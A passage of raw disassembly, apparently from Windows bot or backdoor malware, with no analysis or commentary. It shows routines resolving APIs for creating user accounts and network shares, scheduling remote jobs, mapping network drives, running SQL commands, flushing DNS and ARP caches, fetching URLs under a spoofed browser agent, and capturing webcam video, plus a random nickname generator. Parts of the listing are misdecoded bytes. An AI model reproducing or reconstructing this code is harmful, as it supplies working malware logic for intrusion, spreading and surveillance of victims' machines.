		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 2670859h
		mov	dword_4CB058, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2670859h
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2670859h
		mov	dword_4CB068, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		call	near ptr 2670859h
		nop
		mov	dword_4CB070, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2670859h
		mov	dword_4CB078, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2670859h
		nop
		mov	dword_4CB080, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2670859h
		mov	dword_4CB088, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		call	near ptr 2670859h
		nop
		mov	dword_4CB090, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2670859h
		mov	dword_4CB098, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2670859h
		mov	dword_4CB0A0, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D330
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D520
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F0


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D590o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 2680600h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D5F8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 0D6h, 58h
; ---------------------------------------------------------------------------
		daa
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B


loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55


loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2680600h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
